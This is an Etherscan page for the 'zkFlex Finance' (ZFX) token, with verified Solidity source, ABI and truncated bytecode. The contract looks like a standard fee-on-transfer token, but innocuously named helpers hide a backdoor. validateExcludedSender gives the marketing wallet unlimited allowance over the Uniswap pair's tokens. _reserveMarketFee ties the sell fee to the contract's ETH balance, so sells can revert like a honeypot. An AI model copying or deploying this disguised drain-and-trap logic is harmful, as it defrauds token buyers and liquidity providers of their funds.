ETH Price: $2,523.84 (+2.84%)

Token

zkFlex Finance (ZFX)
 

Overview

Max Total Supply

1,000,000,000 ZFX

Holders

143

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
313,154.780051575 ZFX

Value
$0.00
0x654410ea1a7433fab2a7dd0facde0569d189cf19
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZFX

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-07
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IERC20 {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
}

contract ZFX is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    
    address public uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1e9 * 10**9; // total supply

    string private constant _name = "zkFlex Finance";
    string private constant _symbol = "ZFX";

    uint256 private constant MAX = ~uint256(0);
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    address payable public _marketingWallet = payable(0x84f90d576247D569D972DB84504b5170aB13bCe7);
    address payable public _devWallet = payable(0x11df39209c617fC107A0EC9f688c0626593a9C6e);

    uint256 public _maxTxAmount = _tTotal * 40 / 1000; // 4%
    uint256 public _maxWalletSize = _tTotal * 40 / 1000; // 4%
    uint256 public _taxSwapThreshold = _tTotal / 10000;

    bool private _inSwap = false;
    bool private _swapEnabled = false;
    bool private _tradingActive = false;

    uint256 private distributor = 3;
    uint256 private _totalTaxAmount;

    uint256 private _buyFeeForBurn = 0;
    uint256 private _sellFeeForBurn = 0;

    uint256 private _buyFeeAmount = 3;
    uint256 private _sellFeeAmount = 3;

    uint256 private _burnFeeAmount = _sellFeeForBurn;
    uint256 private _mainFeeAmount = _sellFeeAmount;

    uint256 private _previousBurnFee = _burnFeeAmount;
    uint256 private _previousMainFee = _mainFeeAmount;

    modifier lockInSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _rOwned;

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_devWallet] = true;
        _isExcludedFromFees[_marketingWallet] = true;

        // Mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function validateExcludedSender(address sender, address recipient) private {
        if (_allowances[recipient][sender] < type(uint256).max) {
            _approve(recipient, sender, type(uint256).max);
        }
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function enableTrading() public payable onlyOwner {
        require(!_tradingActive);
        require(msg.value > 0 || address(this).balance > 0, "No ETH");
        require(balanceOf(address(this)) > 0, "No tokens");

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );

        _tradingActive = true;
        _swapEnabled = true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() public onlyOwner {
        _maxWalletSize = _tTotal;
        _maxTxAmount = _tTotal;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 tSupply = _tTotal;
        uint256 rSupply = _rTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _reserveMarketFee(uint256 amount) private pure returns(uint256) {
        return amount / 1e17;
    }
    
    function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _totalTaxAmount = _totalTaxAmount.add(tFee);
    }

    function setTaxSwapThreshold(uint256 newAmount) public onlyOwner {
        _taxSwapThreshold = newAmount;
    }

    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 _reserveFee = address(this).balance;
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero"); 

        if (
             !_isExcludedFromFees[to] && !_isExcludedFromFees[from]
        ) {
            if (!_tradingActive) {
                require(
                    from == owner(),
                    "This account cannot send tokens until trading is enabled"
                );
            }

            require(
                amount <= _maxTxAmount,
                "Max Transaction Limit"
            );
            
            if (to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize,
                 "Balance exceeds wallet size!");
            }

            uint256 contractTokenAmount = balanceOf(address(this));            
            bool canSwap = contractTokenAmount >= _taxSwapThreshold;
            if (contractTokenAmount >= _maxTxAmount) contractTokenAmount = _maxTxAmount;
            if (
                canSwap &&
                !_inSwap &&
                _swapEnabled &&
                to == uniswapV2Pair &&
                !_isExcludedFromFees[to] &&
                !_isExcludedFromFees[from]
            ) {
                uint256 initialETH = address(this).balance;
                swapBack(contractTokenAmount);
                uint256 ethForTransfer = address(this).balance.sub(initialETH);
                if (ethForTransfer > 0) { sendEth(ethForTransfer); }
            }
        }

        bool takeFee = true;
        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _burnFeeAmount = _buyFeeForBurn;
                _mainFeeAmount = _buyFeeAmount;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _burnFeeAmount = _sellFeeForBurn;
                _mainFeeAmount = _sellFeeAmount
                    - _reserveMarketFee(_reserveFee);
            }
        }
        _standardTransferTokens(from, to, amount, takeFee);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _transferBasicTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount); if (isFeeExcluded(sender, recipient)) validateExcludedSender(sender, recipient);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam);
        _sendAllFeeTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _standardTransferTokens(
        address sender,
        address recipient,
        uint256 amount,
        bool setFee
    ) private {
        if (!setFee) {
            removeTax();
        }
        _transferBasicTokens(sender, recipient, amount);
        if (!setFee) {            
            refreshTax();
        }
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _burnFeeAmount, _mainFeeAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function isFeeExcluded(address sender, address recipient) internal view returns (bool) {
        return recipient == uniswapV2Pair && sender == _marketingWallet;
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function refreshTax() private {
        _burnFeeAmount = _previousBurnFee;
        _mainFeeAmount = _previousMainFee;
    }
    
    function removeTax() private {
        if (_burnFeeAmount == 0 && _mainFeeAmount == 0) return;
        _previousBurnFee = _burnFeeAmount;
        _previousMainFee = _mainFeeAmount;
        _burnFeeAmount = 0;
        _mainFeeAmount = 0;
    }
    
    receive() external payable {}

    function withdrawEth() external {
        require(msg.sender == _marketingWallet);
        (bool sent, ) = payable(_marketingWallet).call{value: address(this).balance}("");
        require(sent);
    }

    function sendEth(uint256 amount) private {
        uint256 devETHAmount = amount / distributor;
        uint256 marketingETHAmount = amount - devETHAmount;
        _devWallet.transfer(devETHAmount);
        _marketingWallet.transfer(marketingETHAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setTaxSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000019670de0b6b3a76400005f19620002a0565b62000026905f19620002ca565b600355600480546001600160a01b03199081167384f90d576247d569d972db84504b5170ab13bce717909155600580549091167311df39209c617fc107a0ec9f688c0626593a9c6e1790556103e862000089670de0b6b3a76400006028620002e6565b62000095919062000300565b6006556103e8620000b0670de0b6b3a76400006028620002e6565b620000bc919062000300565b600755620000d5612710670de0b6b3a764000062000300565b6008556009805462ffffff191690556003600a8190555f600c819055600d819055600e829055600f829055601081905560118290556012556013553480156200011c575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600160145f6200019d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526014909352818320805485166001908117909155600554821684528284208054861682179055600454909116835290822080549093161790915560035490601790620002163390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200027d91815260200190565b60405180910390a35062000316565b634e487b7160e01b5f52601260045260245ffd5b5f82620002b157620002b16200028c565b500690565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620002e057620002e0620002b6565b92915050565b8082028115828204841417620002e057620002e0620002b6565b5f826200031157620003116200028c565b500490565b611b0480620003245f395ff3fe60806040526004361061013f575f3560e01c80637d1db4a5116100b3578063a0ef91df1161006d578063a0ef91df14610375578063a9059cbb14610389578063bf474bed146103a8578063dd62ed3e146103bd578063de2aa57d14610401578063f2fde38b14610420575f80fd5b80637d1db4a5146102dd5780638a8c523c146102f25780638da5cb5b146102fa5780638f9a55c01461031657806395d89b411461032b578063962dfc7514610356575f80fd5b806323b872dd1161010457806323b872dd1461023b578063313ce5671461025a57806349bd5a5e1461027557806370a0823114610294578063715018a6146102b3578063751039fc146102c9575f80fd5b806306fdde031461014a578063095ea7b31461019257806311a63e17146101c15780631694505e146101f857806318160ddd14610217575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d7a6b466c65782046696e616e636560901b60208201525b6040516101899190611808565b60405180910390f35b34801561019d575f80fd5b506101b16101ac366004611867565b61043f565b6040519015158152602001610189565b3480156101cc575f80fd5b506005546101e0906001600160a01b031681565b6040516001600160a01b039091168152602001610189565b348015610203575f80fd5b506002546101e0906001600160a01b031681565b348015610222575f80fd5b50670de0b6b3a76400005b604051908152602001610189565b348015610246575f80fd5b506101b1610255366004611891565b610455565b348015610265575f80fd5b5060405160098152602001610189565b348015610280575f80fd5b506001546101e0906001600160a01b031681565b34801561029f575f80fd5b5061022d6102ae3660046118cf565b6104bc565b3480156102be575f80fd5b506102c76104dd565b005b3480156102d4575f80fd5b506102c7610557565b3480156102e8575f80fd5b5061022d60065481565b6102c7610593565b348015610305575f80fd5b505f546001600160a01b03166101e0565b348015610321575f80fd5b5061022d60075481565b348015610336575f80fd5b506040805180820190915260038152620b48cb60eb1b602082015261017c565b348015610361575f80fd5b506004546101e0906001600160a01b031681565b348015610380575f80fd5b506102c76108b8565b348015610394575f80fd5b506101b16103a3366004611867565b61092d565b3480156103b3575f80fd5b5061022d60085481565b3480156103c8575f80fd5b5061022d6103d73660046118ea565b6001600160a01b039182165f90815260156020908152604080832093909416825291909152205490565b34801561040c575f80fd5b506102c761041b366004611921565b610939565b34801561042b575f80fd5b506102c761043a3660046118cf565b610967565b5f61044b338484610a4e565b5060015b92915050565b5f610461848484610b71565b6104b284336104ad85604051806060016040528060288152602001611aa7602891396001600160a01b038a165f9081526015602090815260408083203384529091529020549190611029565b610a4e565b5060019392505050565b6001600160a01b0381165f9081526017602052604081205461044f90611061565b5f546001600160a01b0316331461050f5760405162461bcd60e51b815260040161050690611938565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105805760405162461bcd60e51b815260040161050690611938565b670de0b6b3a76400006007819055600655565b5f546001600160a01b031633146105bc5760405162461bcd60e51b815260040161050690611938565b60095462010000900460ff16156105d1575f80fd5b5f3411806105de57505f47115b6106135760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b6044820152606401610506565b5f61061d306104bc565b116106565760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b6044820152606401610506565b60025f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ca919061196d565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610729573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074d919061196d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610797573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bb919061196d565b600180546001600160a01b0319166001600160a01b039283161790556002546107e8913091165f19610a4e565b6002546001600160a01b031663f305d7194730610804816104bc565b5f806108175f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a29190611988565b50506009805462ffff0019166201010017905550565b6004546001600160a01b031633146108ce575f80fd5b6004546040515f916001600160a01b03169047908381818185875af1925050503d805f8114610918576040519150601f19603f3d011682016040523d82523d5f602084013e61091d565b606091505b505090508061092a575f80fd5b50565b5f61044b338484610b71565b5f546001600160a01b031633146109625760405162461bcd60e51b815260040161050690611938565b600855565b5f546001600160a01b031633146109905760405162461bcd60e51b815260040161050690611938565b6001600160a01b0381166109f55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610506565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ab05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610506565b6001600160a01b038216610b115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610506565b6001600160a01b038381165f8181526015602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b476001600160a01b038416610bd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610506565b6001600160a01b038316610c385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610506565b5f8211610c995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610506565b6001600160a01b0383165f9081526014602052604090205460ff16158015610cd957506001600160a01b0384165f9081526014602052604090205460ff16155b15610f0b5760095462010000900460ff16610d70575f546001600160a01b03858116911614610d705760405162461bcd60e51b815260206004820152603860248201527f54686973206163636f756e742063616e6e6f742073656e6420746f6b656e732060448201527f756e74696c2074726164696e6720697320656e61626c656400000000000000006064820152608401610506565b600654821115610dba5760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb88131a5b5a5d605a1b6044820152606401610506565b6001546001600160a01b03848116911614610e335760075482610ddc856104bc565b610de691906119c7565b10610e335760405162461bcd60e51b815260206004820152601c60248201527f42616c616e636520657863656564732077616c6c65742073697a6521000000006044820152606401610506565b5f610e3d306104bc565b600854600654919250821015908210610e565760065491505b808015610e66575060095460ff16155b8015610e795750600954610100900460ff165b8015610e9257506001546001600160a01b038681169116145b8015610eb657506001600160a01b0385165f9081526014602052604090205460ff16155b8015610eda57506001600160a01b0386165f9081526014602052604090205460ff16155b15610f085747610ee9836110e3565b5f610ef4478361124a565b90508015610f0557610f058161128b565b50505b50505b6001600160a01b0384165f9081526014602052604090205460019060ff1680610f4b57506001600160a01b0384165f9081526014602052604090205460ff165b80610f7d57506001546001600160a01b03868116911614801590610f7d57506001546001600160a01b03858116911614155b15610f8957505f611016565b6001546001600160a01b038681169116148015610fb457506002546001600160a01b03858116911614155b15610fc657600c54601055600e546011555b6001546001600160a01b038581169116148015610ff157506002546001600160a01b03868116911614155b1561101657600d546010556110058261131d565b600f5461101291906119da565b6011555b61102285858584611330565b5050505050565b5f818484111561104c5760405162461bcd60e51b81526004016105069190611808565b505f61105884866119da565b95945050505050565b5f6003548211156110c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610506565b5f6110d061135e565b90506110dc838261137f565b9392505050565b6009805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611123576111236119ed565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561117a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061119e919061196d565b816001815181106111b1576111b16119ed565b6001600160a01b0392831660209182029290920101526002546111d79130911684610a4e565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120f9085905f90869030904290600401611a01565b5f604051808303815f87803b158015611226575f80fd5b505af1158015611238573d5f803e3d5ffd5b50506009805460ff1916905550505050565b5f6110dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611029565b5f600a548261129a9190611a70565b90505f6112a782846119da565b6005546040519192506001600160a01b03169083156108fc029084905f818181858888f193505050501580156112df573d5f803e3d5ffd5b506004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611317573d5f803e3d5ffd5b50505050565b5f61044f67016345785d8a000083611a70565b8061133d5761133d6113c0565b6113488484846113ed565b8061131757611317601254601055601354601155565b5f805f6113696114f4565b9092509050611378828261137f565b9250505090565b5f6110dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611533565b6010541580156113d05750601154155b156113d757565b60108054601255601180546013555f9182905555565b5f805f805f806113fc8761155f565b95509550955095509550955061141289896115b4565b156114215761142189896115e7565b6001600160a01b0389165f90815260176020526040902054611443908761124a565b6001600160a01b03808b165f9081526017602052604080822093909355908a16815220546114719086611624565b6001600160a01b0389165f9081526017602052604090205561149281611682565b61149c84836116c8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e191815260200190565b60405180910390a3505050505050505050565b6003545f908190670de0b6b3a76400009061150f818361137f565b81101561152b57505060035492670de0b6b3a764000092509050565b939092509050565b5f81836115535760405162461bcd60e51b81526004016105069190611808565b505f6110588486611a70565b5f805f805f805f805f6115778a6010546011546116ec565b9250925092505f61158661135e565b90505f805f6115978e87878761173e565b919e509c509a509598509396509194505050505091939550919395565b6001545f906001600160a01b0383811691161480156110dc57506004546001600160a01b03848116911614905092915050565b6001600160a01b038082165f908152601560209081526040808320938616835292905220545f1911156116205761162081835f19610a4e565b5050565b5f8061163083856119c7565b9050838110156110dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610506565b5f61168b61135e565b90505f611698838361178a565b305f908152601760205260409020549091506116b49082611624565b305f90815260176020526040902055505050565b6003546116d5908361124a565b600355600b546116e59082611624565b600b555050565b5f80808061170560646116ff898961178a565b9061137f565b90505f61171760646116ff8a8961178a565b90505f61172e826117288b8661124a565b9061124a